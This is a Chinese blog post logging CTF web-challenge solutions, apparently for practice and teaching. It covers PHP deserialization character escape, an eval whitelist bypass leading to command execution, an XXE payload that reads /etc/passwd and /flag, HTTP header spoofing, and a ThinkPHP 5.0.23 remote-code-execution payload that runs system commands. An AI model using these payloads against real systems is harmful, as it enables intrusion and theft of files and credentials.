1.30刷题记录

[0CTF 2016]piapiapia

看到输入框的以为是sql注入,最后扫一下源码发现www.zip
下载后有几个文件
)]
首先是update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

nickname传入一个数组,可以绕过长度的限制
在class.php找到filter函数

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

分析update.php:先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’,题目类型属于替换之后导致序列化字符串变长,造成字符逃逸

然后我们再看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

有反序列化和文件读取
config.php中有flag,构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

将";}s:5:“photo”;s:10:“config.php”;}插入序列化的字符串里面去,这是34个字符,where替换成hacker后,长度增加一位,所以需要34个where,去profile.php查看读取的内容。

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

先注册,登录后随意上传资料,bp抓包
修改nickname为nickname[]
在这里插入图片描述
成功后去profile.php页面查看
在这里插入图片描述
base64解码
在这里插入图片描述

[CISCN 2019 初赛]Love Math

源码如下

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

相关函数

base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

知识点:php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
我们要构造的payload是

?c=$_GET[a]($_GET[b])&a=system&b=tac /flag

变量替换后

?c=($_GET[pi])($_GET[abs])&pi=system&abs=tac /flag

_GET也需要替换

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
所以_GET=base_convert(37907361743,10,36)(dechex(1598506324));
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

在这里插入图片描述

[NCTF2019]Fake XML cookbook

题目提示XML,可知为XML实体注入漏洞,原理参考https://www.freebuf.com/vuls/175451.html
随意输入账号密码后抓包
在这里插入图片描述
这里的username和password都是xml格式,然后增加恶意实体,读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述
有回显,读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

在这里插入图片描述

[BJDCTF 2nd]假猪套天下第一

在这里插入图片描述
用admin登录看看
在这里插入图片描述
再试试其他用户名
可以正常登录
在这里插入图片描述
抓包看一下
在最后发现php文件
在这里插入图片描述
访问后抓包在这里插入图片描述
显示要在99年后才开放访问,请求头里面有time,修改成一个很大的数字
在这里插入图片描述
提示需从本地访问,使用XFF或者Client-ip
在这里插入图片描述
提示需要来自于gem-love.com,添加Referer
在这里插入图片描述
现在需要使用Commodo 64浏览器,查一下全称是:Commodore 64

修改user-agent
在这里插入图片描述
需要我们的邮箱是:root@gem-love.com,添加From
在这里插入图片描述
最后代理服务器地址需要是y1ng.vip,添加via
在这里插入图片描述
base64解码即可
在这里插入图片描述

[BJDCTF 2nd]old-hack

首页提示hinkphp5的漏洞。
在这里插入图片描述
传入一个s=1报错查看一下信息
在这里插入图片描述
版本为5.0.23,此版本有漏洞
在这里插入图片描述
https://xz.aliyun.com/t/3845
构造payload,post提交

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls ../../../../

在这里插入图片描述
读取flag

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值